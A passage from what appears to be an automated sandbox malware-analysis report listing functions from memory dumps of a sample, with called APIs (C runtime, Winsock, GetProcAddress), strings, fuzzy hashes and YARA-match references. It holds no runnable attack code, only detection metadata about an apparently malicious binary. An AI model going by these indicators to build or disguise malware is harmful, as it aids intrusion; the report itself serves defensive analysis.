Instruction Fuzzy Hash: 4611C931585A8785FB14AF28E890B943377F728B25F54823DC55E422B0DF39CA97C710

Function 000001CFB961DBD0 Relevance: 7.5, APIs: 5, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB961DBD9
_errno.LIBCMT ref: 000001CFB961DBE1

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 8ad11543daa31dafea5a7ef4bb8147fe8d70931eb13c3c1b692cc721a04b9c45
Instruction ID: 59acc741b239374f41bbac257c6b186cc62a1addbc5e7f6c7b0eeff3fb75abf3
Opcode Fuzzy Hash: 8ad11543daa31dafea5a7ef4bb8147fe8d70931eb13c3c1b692cc721a04b9c45
Instruction Fuzzy Hash: 2101A9716846E644FE095B24C8917EC22739B91B76F51772CD629073D1C778CE438720

Function 000001CFB93A2B0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 000001CFB93A2B47
_errno.LIBCMT ref: 000001CFB93A2B51
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB93A2B58

Strings

-, xrefs: 000001CFB93A2B73

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: 230054471ab9e94bf14a18ec9c1b65bcb69ff4194e86f8a2025a727ab66c8c29
Instruction ID: 6d975a5da2501452d81ed0bf484249aaaecd0f2317462d8525fc659979cd0ee9
Opcode Fuzzy Hash: 230054471ab9e94bf14a18ec9c1b65bcb69ff4194e86f8a2025a727ab66c8c29
Instruction Fuzzy Hash: 8441D730258A884FF754EB28D481BAE73FAEF99354F2C053EA48AC3191DB21CD468753

Function 000001CFB9604670 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115networkCOMMON

Download Yara Rule

APIs

WSAEnumNetworkEvents.WS2_32 ref: 000001CFB96046A8
WSAGetLastError.WS2_32 ref: 000001CFB96046B6
WSAResetEvent.WS2_32 ref: 000001CFB96046F3

Strings

, xrefs: 000001CFB96047BC

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: EnumErrorEventEventsLastNetworkReset
String ID:
API String ID: 1050048411-3916222277
Opcode ID: 7d9898d8a928488bb2d2e3ad9feb40c7b820fd09d0a22babb1b49dbd3cdc5722
Instruction ID: d81159e8d142ec6f546478dc847c4dcc6171a1fd6fa201d21721a131658ca1dd
Opcode Fuzzy Hash: 7d9898d8a928488bb2d2e3ad9feb40c7b820fd09d0a22babb1b49dbd3cdc5722
Instruction Fuzzy Hash: 64518B761446C286F3708F2AD4C4B9977F3F785B88F150229DA8847689FB79CE468B00

Function 000001CFB93A35C9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB93A35D1
_getptd.LIBCMT ref: 000001CFB93A3693
_getptd.LIBCMT ref: 000001CFB93A369F

Strings

csm, xrefs: 000001CFB93A3653

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 916a707afdb0f71ebe95bef2f33ca7e6fa47fc2edc3f926a604d61cd2de3a953
Instruction ID: 27823d4b1363f1907507b80d5f15e0d1330c455112ef794140b19b80994e2faf
Opcode Fuzzy Hash: 916a707afdb0f71ebe95bef2f33ca7e6fa47fc2edc3f926a604d61cd2de3a953
Instruction Fuzzy Hash: CD3141701487448FEB68EF58C485BA9B3F6FF58311F68056DD48A87292DB31ED42CB82

Function 000001CFB93A23C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 000001CFB93A23FD
_errno.LIBCMT ref: 000001CFB93A2407
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB93A240E

Strings

-, xrefs: 000001CFB93A2444

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: bbdcb5bc06b9c46dfb1d423dceb7eebd86a9672f6a5897a7d82af974e746431d
Instruction ID: 57246efe833cc0efb548625a94b90613c86f34033cb4489cb833ace9819bdc7e
Opcode Fuzzy Hash: bbdcb5bc06b9c46dfb1d423dceb7eebd86a9672f6a5897a7d82af974e746431d
Instruction Fuzzy Hash: FA21B831258E884BE754EB68D885BEB73EAFF94310F2C053EA45AC3191DF25CD468742

Function 000001CFB96202D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 000001CFB962030B
_errno.LIBCMT ref: 000001CFB9620315
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB962031C

Strings

-, xrefs: 000001CFB9620337

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: 35320a481620dab2e50c4e0e722baade6b2a87799585edebcd6d3ffa4115d845
Instruction ID: df76d332873e9922737d48df5578d0a659888d0a779f3e5f326a7512a5983815
Opcode Fuzzy Hash: 35320a481620dab2e50c4e0e722baade6b2a87799585edebcd6d3ffa4115d845
Instruction Fuzzy Hash: FB312D327446C286FA10AF25E440BDDB773A7467D4F14423AEE8817BD5DB28CD46C700

Function 000001CFB9620768 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB9620781
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB962078D
_errno.LIBCMT ref: 000001CFB96207B4

Strings

1, xrefs: 000001CFB9620803

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: 1
API String ID: 2819658684-2212294583
Opcode ID: c642461044470a636fc6584bdf35ba86ddc5126ec19c8575d3bd6bfd62c5adfc
Instruction ID: 61600fee5e3dd8d4d1264fab7364ae2bbffb5948896447f79e807743b6c6f17b
Opcode Fuzzy Hash: c642461044470a636fc6584bdf35ba86ddc5126ec19c8575d3bd6bfd62c5adfc
Instruction Fuzzy Hash: 3B21F232A5A2D289FB16AF28C450BEC7AB79742780F99C039970106283D72DCF43CB11

Function 000001CFB9611EF8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 000001CFB9611F06
malloc.LIBCMT ref: 000001CFB9611F12

Part of subcall function 000001CFB9611E40: _FF_MSGBANNER.LIBCMT ref: 000001CFB9611E70
Part of subcall function 000001CFB9611E40: HeapAlloc.KERNEL32 ref: 000001CFB9611E95
Part of subcall function 000001CFB9611E40: _callnewh.LIBCMT ref: 000001CFB9611EAE
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EB9
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EC4

std::exception::exception.LIBCMT ref: 000001CFB9611F7F

Strings

bad allocation, xrefs: 000001CFB9611F4F

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _callnewh_errno$AllocHeapmallocstd::exception::exception
String ID: bad allocation
API String ID: 2837191506-2104205924
Opcode ID: f818d2775c6305b500d078a1a8a4caeafb0dc2e89b273f6cd29466fe778cb0c2
Instruction ID: 7d45945c8d2f0b3a60395d5507fc41d2b15cb0ee758708613101aa11e7b17955
Opcode Fuzzy Hash: f818d2775c6305b500d078a1a8a4caeafb0dc2e89b273f6cd29466fe778cb0c2
Instruction Fuzzy Hash: 5C0117716947DB95FB14AB24E891FD423B3B754340F85603EA98A466A2EF3CCB46C700

Function 000001CFB9614320 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001CFB961432F
GetProcAddress.KERNEL32 ref: 000001CFB9614344

Strings

CorExitProcess, xrefs: 000001CFB961433A
mscoree.dll, xrefs: 000001CFB9614328

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 5736814c69beffde4e4d80d6363d91561644225385019cb1483e72a6c3f14607
Instruction ID: cc8b348221a8df08854f6038582eaee80f553155ff2501c3aedf9320ef07c662
Opcode Fuzzy Hash: 5736814c69beffde4e4d80d6363d91561644225385019cb1483e72a6c3f14607
Instruction Fuzzy Hash: C4E012707917C241FE596B65E885BA823B35B68700F4C643F842E0A795DF68DF8BC300

Function 000001CFB9610680 Relevance: 6.3, APIs: 5, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 000001CFB96106C5
free.LIBCMT ref: 000001CFB9610705
free.LIBCMT ref: 000001CFB9610758
GetProcessHeap.KERNEL32 ref: 000001CFB9610765
HeapFree.KERNEL32 ref: 000001CFB9610773

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$Heap$FreeProcess
String ID:
API String ID: 3493288988-0
Opcode ID: a9c4bccd5f9a346d1e3777055ef938d6c7925542efb5f64d06566f38dad4b808
Instruction ID: 02fd873d4db9008b71757dd94e6faab37bb303bfa823f4d0ff5b690aa1cbb38d
Opcode Fuzzy Hash: a9c4bccd5f9a346d1e3777055ef938d6c7925542efb5f64d06566f38dad4b808
Instruction Fuzzy Hash: 4F317E36741AA193FB54DB66E140B9D6372FB89FC0F089129DF4A43B44CF34D9A28740

Function 000001CFB939CD33 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB939CD67
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB939CD72
iswctype.LIBCMT ref: 000001CFB939CDAB
_errno.LIBCMT ref: 000001CFB939CED5

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfoiswctype
String ID:
API String ID: 248606491-0
Opcode ID: 025969511743ca9b7b77820490b951f5d92e9bdbd70d4695079a5e4bd762ea18
Instruction ID: a409104f7905c560a268e4eda0a993dda6a10481c5a2ef06805719fea66bb207
Opcode Fuzzy Hash: 025969511743ca9b7b77820490b951f5d92e9bdbd70d4695079a5e4bd762ea18
Instruction Fuzzy Hash: 8E61C732C8469949F7742619D846BF637EEEF52751F3C023DD99B861C2E760CE434285

Function 000001CFB95C32D9 Relevance: 6.2, APIs: 4, Instructions: 220COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95C3308
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C3313
iswctype.LIBCMT ref: 000001CFB95C334C
_errno.LIBCMT ref: 000001CFB95C3476

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfoiswctype
String ID:
API String ID: 248606491-0
Opcode ID: 51c6b283717e53557eb812972e9f858eb7df38c66164fb907231a6e952fa1e14
Instruction ID: 4735c5bdb76219ed68de2f29735bc8d56dd2dba42c5814e6d7e2bb49f5c44a63
Opcode Fuzzy Hash: 51c6b283717e53557eb812972e9f858eb7df38c66164fb907231a6e952fa1e14
Instruction Fuzzy Hash: E751E6334CC69E47FB791519DA8ABFA31F6E751B60F20123DD892868D1EB74CE438182

Function 000001CFB9613808 Relevance: 6.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB9613837
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9613842
iswctype.LIBCMT ref: 000001CFB961387B
_errno.LIBCMT ref: 000001CFB96139A5

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfoiswctype
String ID:
API String ID: 248606491-0
Opcode ID: 6779dbc9006290503d7b8c82871114c35dbc3fce9c9751f5dd413b593bd34c68
Instruction ID: d4f159cc8704b98c47e279f467eab7df214267434bb0f49aef2a50a5d3f37be0
Opcode Fuzzy Hash: 6779dbc9006290503d7b8c82871114c35dbc3fce9c9751f5dd413b593bd34c68
Instruction Fuzzy Hash: 7C51E532A845F346FBB45B2AD802FEA21F3AB40764F55653ADE53461C1F778CE879202

Function 000001CFB9614C18 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB9614C66
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9614C71
DecodePointer.KERNEL32 ref: 000001CFB9614D20
_lock.LIBCMT ref: 000001CFB9614D4B

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: DecodePointer_errno_invalid_parameter_noinfo_lock
String ID:
API String ID: 27599310-0
Opcode ID: 8a5b73d5d9ca1ff1b538d391cd8af4bb4012ae1134a033dcb573f3cbad0ba9a6
Instruction ID: 5a5cca8e32c16fe1e25a9dab215cef969610649eba1caea192d2224ed2ec24f4
Opcode Fuzzy Hash: 8a5b73d5d9ca1ff1b538d391cd8af4bb4012ae1134a033dcb573f3cbad0ba9a6
Instruction Fuzzy Hash: 9451F6316847E282FA69DB28E440FEA76B3F784744F64653DDA4A43694DB38DF43C200

Function 000001CFB93A31FC Relevance: 6.2, APIs: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001CFB93A1A74: _getptd.LIBCMT ref: 000001CFB93A1A78

_getptd.LIBCMT ref: 000001CFB93A323B
_SetImageBase.LIBCMT ref: 000001CFB93A330E
_getptd.LIBCMT ref: 000001CFB93A333C
_getptd.LIBCMT ref: 000001CFB93A334A

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _getptd$BaseImage
String ID:
API String ID: 2482573191-0
Opcode ID: 9c5b89509d60e0603f5a734c5cd4ba2a093cff095a5bf51701f84cb58c52bfef
Instruction ID: 197594afeeda7828dbc0960f67c6e4609826bb358be0869b589a9b4486aece64
Opcode Fuzzy Hash: 9c5b89509d60e0603f5a734c5cd4ba2a093cff095a5bf51701f84cb58c52bfef
Instruction Fuzzy Hash: 15418E31598A458AF3146768C446BED72FAEF45324F3C86BEE456C31E3DB64DE438282

Function 000001CFB95C491D Relevance: 6.2, APIs: 4, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001CFB95CBD0D: _errno.LIBCMT ref: 000001CFB95CBD16
Part of subcall function 000001CFB95CBD0D: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB95CBD21

_errno.LIBCMT ref: 000001CFB95C494A
_errno.LIBCMT ref: 000001CFB95C4966
_isatty.LIBCMT ref: 000001CFB95C49C7
_getbuf.LIBCMT ref: 000001CFB95C49D3

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_getbuf_invalid_parameter_noinfo_isatty
String ID:
API String ID: 3655708593-0
Opcode ID: 87cd96422aea3bb6b0bce4e86e7506652a3eb2d6d527ccc641051d1cd25ab59a
Instruction ID: d8f4f38671a4c0591dd0e1c1c35e3bf85c253b9bdf94d7b704b735f10896362c
Opcode Fuzzy Hash: 87cd96422aea3bb6b0bce4e86e7506652a3eb2d6d527ccc641051d1cd25ab59a
Instruction Fuzzy Hash: F851B132194A984FFB989F28C581FE936F2EB58320F14026DD855CB6D6D774DE82C780

Function 000001CFB939AA68 Relevance: 6.2, APIs: 4, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001CFB939ECC8: _errno.LIBCMT ref: 000001CFB939ECD1
Part of subcall function 000001CFB939ECC8: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB939ECDC

_errno.LIBCMT ref: 000001CFB939AA95
_errno.LIBCMT ref: 000001CFB939AAB1
_isatty.LIBCMT ref: 000001CFB939AB12
_getbuf.LIBCMT ref: 000001CFB939AB1E

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno$_getbuf_invalid_parameter_noinfo_isatty
String ID:
API String ID: 3655708593-0
Opcode ID: b472cfe05d8d2ec8d2c21cd6346baf259e13895f094dcae3d3b00828071a2771
Instruction ID: 76a027b6367f128b2f46bd50450372640a87b98aaa5307489fb3bcbfd263c106
Opcode Fuzzy Hash: b472cfe05d8d2ec8d2c21cd6346baf259e13895f094dcae3d3b00828071a2771
Instruction Fuzzy Hash: 7A516030154A884FFBA89F28C495BA977E6EF58310F2D07ADD857CB2D6D724CE428781

Function 000001CFB9620060 Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001CFB9612604: _getptd.LIBCMT ref: 000001CFB9612616

_errno.LIBCMT ref: 000001CFB962009E
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB96200A8
_errno.LIBCMT ref: 000001CFB96200CC
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB96200D6

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd
String ID:
API String ID: 1297830140-0
Opcode ID: 4b61b820ce18982db4ac574c72c3f4b0ba5c6ee02f44edb5eb580702fda48f22
Instruction ID: 382cc4761e674a6889f983febabb1e119e7002ed9fbbe27a179118b6407aeb02
Opcode Fuzzy Hash: 4b61b820ce18982db4ac574c72c3f4b0ba5c6ee02f44edb5eb580702fda48f22
Instruction Fuzzy Hash: 8F41E0326447D586FB60AF65D588BE977B3E782BD0F05813ADB4943796CB28CA47C700

Function 000001CFB962358C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001CFB9622B6C: _getptd.LIBCMT ref: 000001CFB9622B70

_getptd.LIBCMT ref: 000001CFB96235CB

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

_SetImageBase.LIBCMT ref: 000001CFB962369E
_getptd.LIBCMT ref: 000001CFB96236CC
_getptd.LIBCMT ref: 000001CFB96236DA

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _getptd$BaseImage_amsg_exit
String ID:
API String ID: 2306399499-0
Opcode ID: 7508f3b3fd4028dca9c83341e5ac7cef807879085b4d62799d2ee17d16bee354
Instruction ID: a46a31a3c97406802d780b6c1ab352eef81b8d6219b277a4461bbf7978abf761
Opcode Fuzzy Hash: 7508f3b3fd4028dca9c83341e5ac7cef807879085b4d62799d2ee17d16bee354
Instruction Fuzzy Hash: 5D419F3264068382FA28BB15D585FEDB6B7A784F9AF158539DE19437E2CB34CE478700

Function 000001CFB93998FC Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 000001CFB9399966
_FF_MSGBANNER.LIBCMT ref: 000001CFB9399991
_RTC_Initialize.LIBCMT ref: 000001CFB93999AA
_cinit.LIBCMT ref: 000001CFB9399A07

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: Initialize_cinit
String ID:
API String ID: 3622512177-0
Opcode ID: 999c38da4a7799e0715cc289d82767e970d3cc9920d0328cda324a3349d3ccc4
Instruction ID: 35c973bcf40e1b5bc0798e8f8867006e821be344f8c032884e3525acf8bc2ff3
Opcode Fuzzy Hash: 999c38da4a7799e0715cc289d82767e970d3cc9920d0328cda324a3349d3ccc4
Instruction Fuzzy Hash: 8F3112306846814AFB50B778D962BE933BBAF41304F2D063DA547C62D3EF25CE428752

Function 000001CFB95C1DA1 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95C1DCC
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C1DD7
_getptd.LIBCMT ref: 000001CFB95C1DFD
free.LIBCMT ref: 000001CFB95C1E68

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 4053972703-0
Opcode ID: 43f98ba4b15c26d521d80577bb0f8a8933ead76389b9e6d44e0add2e746f4bc6
Instruction ID: d8bed324218c6db1c5078a01dc22eefd3476ab3aa7e2e11ba636c7d015b6ed27
Opcode Fuzzy Hash: 43f98ba4b15c26d521d80577bb0f8a8933ead76389b9e6d44e0add2e746f4bc6
Instruction Fuzzy Hash: 7F21B931688B494FF744BB69D846BA977F2EB98311F00463EE449C36A2DB60DD428782

Function 000001CFB9604820 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32 ref: 000001CFB960485E
WSAGetLastError.WS2_32 ref: 000001CFB9604869

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ErrorEventLastSelect
String ID:
API String ID: 1135597009-0
Opcode ID: 9729f9626bfa02fdb25227b366fcace41139834b60a4ecbd8e493ab59bbb4f50
Instruction ID: 3c586218033fad26efa76cea1dedd17017c5a61168a63172f8a7656d78cb87be
Opcode Fuzzy Hash: 9729f9626bfa02fdb25227b366fcace41139834b60a4ecbd8e493ab59bbb4f50
Instruction Fuzzy Hash: DA21CFB260018187F750DF7AD488B9C37B3F754B98F540139CA18876D4EB7AC986CB10

Function 000001CFB9605080 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000001CFB960509C
LeaveCriticalSection.KERNEL32 ref: 000001CFB96050B5
LeaveCriticalSection.KERNEL32 ref: 000001CFB9605135
SetEvent.KERNEL32 ref: 000001CFB9605155

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: a2ac5f14c1fdbe427516915e7673df18383f0521a432ce3d7036e12227a3bb22
